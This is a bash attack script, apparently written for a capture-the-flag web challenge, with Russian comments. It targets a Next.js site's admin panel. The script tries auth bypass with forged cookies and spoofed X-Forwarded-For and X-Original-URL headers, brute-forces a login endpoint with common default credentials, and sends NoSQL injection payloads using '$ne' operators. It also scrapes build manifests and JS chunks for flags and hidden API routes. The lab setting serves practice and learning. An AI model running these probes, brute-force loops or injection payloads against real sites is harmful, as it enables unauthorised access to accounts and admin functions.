---

T="http://task.duckerz.ru:21046"
BID="JJN36yMfd5yB9oQiq_ZJw"

echo "########## 1. /admin напрямую ##########"
curl -s -i --max-time 10 "$T/admin" | head -25

echo; echo "########## 2. /admin с RSC ##########"
curl -s -i --max-time 10 "$T/admin" -H "RSC: 1" | head -40

echo; echo "########## 3. /admin с куками ##########"
for c in "mdd=1" "mdd=admin" "mdd=true" "role=admin" "session=admin" "auth=1" "admin=1" "token=admin" "next=/admin"; do
  echo "--- Cookie: $c ---"
  curl -s -o /dev/null --max-time 10 -w "%{http_code} -> %{redirect_url}\n" \
    "$T/admin" -H "Cookie: $c"
done

echo; echo "########## 4. /admin с заголовками ##########"
for h in "X-Forwarded-For: 127.0.0.1" "X-Original-URL: /admin" \
         "X-Rewrite-URL: /admin" "X-Forwarded-Host: localhost" \
         "X-Real-IP: 127.0.0.1" "X-Admin: 1"; do
  echo "--- $h ---"
  curl -s -o /dev/null --max-time 10 -w "%{http_code} -> %{redirect_url}\n" \
    "$T/admin" -H "$h"
done

echo; echo "########## 5. Брутфорс логина ##########"
for c in admin:admin admin:password admin:123456 admin:admin123 admin:qwerty \
         admin:letmein admin:duckerz admin:vestnik admin:severny admin:северный \
         editor:editor editor:password redactor:redactor user:user test:test guest:guest; do
  l="${c%%:*}"; p="${c##*:}"
  r=$(curl -s -o /dev/null --max-time 10 -w "%{redirect_url}" -X POST "$T/api/login" \
      -d "login=$l&password=$p&next=/admin")
  echo "$l:$p -> $r"
done

echo; echo "########## 6. RSC /login?failed=1 ##########"
curl -s --max-time 10 "$T/login?failed=1" -H "RSC: 1" | grep -oE "failed|ошибк[^\"]*|неверн[^\"]*|не найден[^\"]*|парол[^\"]*|логин[^\"]*" | sort -u | head -20

echo; echo "########## 7. /api/login с разными методами ##########"
curl -s -i --max-time 10 -X POST "$T/api/login" -H "Content-Type: application/json" \
  -d '{"login":{"$ne":null},"password":{"$ne":null}}' | head -10
curl -s -i --max-time 10 -X POST "$T/api/login" \
  -d 'login[$ne]=1&password[$ne]=1&next=/admin' | head -10

echo; echo "########## 8. Манифесты ##########"
echo "--- app-build-manifest.json ---"
curl -s --max-time 10 "$T/_next/static/chunks/app-build-manifest.json"
echo
echo "--- _buildManifest.js ---"
curl -s --max-time 10 "$T/_next/static/$BID/_buildManifest.js"
echo
echo "--- _ssgManifest.js ---"
curl -s --max-time 10 "$T/_next/static/$BID/_ssgManifest.js"

echo; echo "########## 9. RSC главной и login ##########"
curl -s --max-time 10 "$T/" -H "RSC: 1" | grep -oE "/_next/static/chunks/[^\"']+\.js" | sort -u
echo "--- login RSC ---"
curl -s --max-time 10 "$T/login" -H "RSC: 1" | grep -oE "/_next/static/chunks/[^\"']+\.js" | sort -u

echo; echo "########## 10. Флаг во всех известных чанках ##########"
for f in \
  "app/page-149650cc9e4e6a3e.js" \
  "255-4f212684648fcab9.js" \
  "main-app-2ecc3bf42ae2d122.js" \
  "webpack-078f6dfb37dff419.js" \
  "4bd1b696-c023c6e3521b1411.js" \
  "polyfills-42372ed130431b0a.js" ; do
  echo "--- $f ---"
  curl -s --max-time 10 "$T/_next/static/chunks/$f" \
    | grep -oE "DUCKERZ\{[^}]*\}|flag\{[^}]*\}|/api/[a-zA-Z0-9_/-]+|/admin[a-zA-Z0-9_/?=&-]*" \
    | sort -u | head -20
done

echo; echo "########## 11. Пробуем типовые флаговые эндпоинты ##########"
for e in /admin/flag /api/flag /flag /api/admin /admin/api /api/admin/flag; do
  echo "--- $e ---"
  curl -s -i --max-time 10 "$T$e" | head -8
done

echo; echo "########## DONE ##########"